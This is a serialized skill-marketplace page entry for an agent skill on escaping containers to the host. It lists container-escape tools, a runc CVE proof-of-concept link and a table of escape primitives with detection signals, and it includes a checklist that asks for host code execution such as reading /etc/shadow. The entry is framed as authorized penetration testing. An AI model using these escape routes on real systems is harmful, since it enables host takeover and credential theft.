https:\u002F\u002Fgithub.com\u002Fstealthcopter\u002Fdeepce |\n| CDK | Container\u002FK8s penetration toolkit | https:\u002F\u002Fgithub.com\u002Fcdk-team\u002FCDK |\n| runc PoC (CVE-2024-21626) | Leaky Vessels reference exploit | https:\u002F\u002Fgithub.com\u002Fstrikoder\u002Fcve-2024-21626-runc-1.1.11-escape |\n| Sysdig runc 2025 advisory | CVE-2025-31133\u002F52565\u002F52881 analysis | https:\u002F\u002Fwww.sysdig.com\u002Fblog\u002Frunc-container-escape-vulnerabilities |\n| Palo Alto Leaky Vessels | CVE-2024-21626 deep dive | https:\u002F\u002Fwww.paloaltonetworks.com\u002Fblog\u002Fcloud-security\u002Fleaky-vessels-vulnerabilities-container-escape\u002F |\n\n## Escape Primitive Reference\n\n| Primitive | Root Cause | Detection Signal |\n|-----------|-----------|------------------|\n| Privileged container | `--privileged` \u002F `CAP_SYS_ADMIN` | `mount` of cgroup, write to `release_agent` |\n| Docker socket mount | `\u002Fvar\u002Frun\u002Fdocker.sock` bind-mounted | Daemon API call from a container |\n| hostPath `\u002F` mount | Pod mounts node root | Write to `\u002Fhost\u002Fetc\u002Fkubernetes\u002Fmanifests` |\n| CVE-2024-21626 | runC fd leak before pivot_root | WORKDIR\u002Fcwd `=\u002Fproc\u002Fself\u002Ffd\u002FN` |\n| CVE-2025-31133\u002F52565\u002F52881 | procfs write redirect via mount race | RW mount of `\u002Fdev\u002Fconsole`, write to `\u002Fproc\u002Fsysrq-trigger` |\n\n## Validation Criteria\n\n- [ ] Container privilege posture enumerated (caps, namespaces, mounts, seccomp)\n- [ ] Available escape primitive correctly identified\n- [ ] Host-level code execution demonstrated (host hostname \u002F `\u002Fetc\u002Fshadow` \u002F host file write captured)\n- [ ] Root-cause misconfiguration or vulnerable runtime version recorded\n- [ ] runC\u002Fcontainerd\u002FDocker versions checked against CVE patch baselines\n- [ ] Remediation guidance (drop privileges, remove socket mount, patch runtime) documented\n- [ ] All actions stayed within the authorized scope\n",{"name":5,"tags":52,"author":55,"domain":43,"license":15,"version":56,"nist_csf":57,"subdomain":36,"description":7,"mitre_attack":59},[33,53,54,32,31,45,37,30],"privileged-container","runc-cve","mahipal","1.0",[58],"PR.PS-01",[60],"T1611","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fescaping-containers-to-host",4384,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":72,"prompt":82,"zipAvailable":83},[73,76,79],{"tool":74,"command":75},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill escaping-containers-to-host",{"tool":77,"command":78},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill escaping-containers-to-host",{"tool":80,"command":81},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill escaping-containers-to-host","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fescaping-containers-to-host\u002FSKILL.md",true,[85,91,96,100,104],{"path":86,"resourceType":87,"resourceTypeDesc":88,"sizeBytes":89,"sourceHtmlUrl":90},"agents\u002Fopenai.yaml","REFERENCE","参考文档",112,"https:\u002F\u002Fgithub.com\u002Ftwaldin\u002Fdotfiles\u002Fblob\u002Fmain\u002Fagents\u002Fskills\u002Fmac-gui\u002Fagents\u002Fopenai.yaml",{"path":92,"resourceType":92,"resourceTypeDesc":93,"sizeBytes":94,"sourceHtmlUrl":95},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fescaping-containers-to-host\u002FLICENSE",{"path":97,"resourceType":87,"resourceTypeDesc":88,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fapi-reference.md",2526,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fescaping-containers-to-host\u002Freferences\u002Fapi-reference.md",{"path":101,"resourceType":87,"resourceTypeDesc":88,"sizeBytes":102,"sourceHtmlUrl":103},"references\u002Fstandards.md",2311,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fescaping-containers-to-host\u002Freferences\u002Fstandards.md",{"path":105,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"scripts\u002Fagent.py","SCRIPT","脚本",6878,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fescaping-containers-to-host\u002Fscripts\u002Fagent.py",[111,136,160,187,213,240],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":118,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[117],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[119,120,121,122,44,43,123,124,40,125,126,127,128,129,130,131,132,133,134,135],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":137,"name":138,"nameZh":6,"description":139,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":140,"categories":141,"keywords":143,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[142],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[144,132,145,146,44,147,43,40,148,149,150,151,152,153,154,155,156,157,158,159],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":161,"name":162,"nameZh":6,"description":163,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":164,"categories":165,"keywords":170,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[166,169],{"categoryNo":167,"categoryName":168,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[154,171,172,173,174,43,175,176,148,177,178,179,180,181,34,182,183,184,185,186],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":188,"name":189,"nameZh":6,"description":190,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":191,"categories":192,"keywords":194,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[193],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[195,196,197,43,198,199,200,201,202,203,204,205,206,207,208,209,151,210,211,212],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":214,"name":215,"nameZh":6,"description":216,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":217,"categories":218,"keywords":220,"publishedAt":47},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[219],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[221,222,223,43,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":241,"name":242,"nameZh":6,"description":243,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":244,"categories":245,"keywords":247,"publishedAt":47},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[246],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[44,248,43,249,250,251,252,253,254,255,256,182,257,183,258,259,260,261,262,263],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]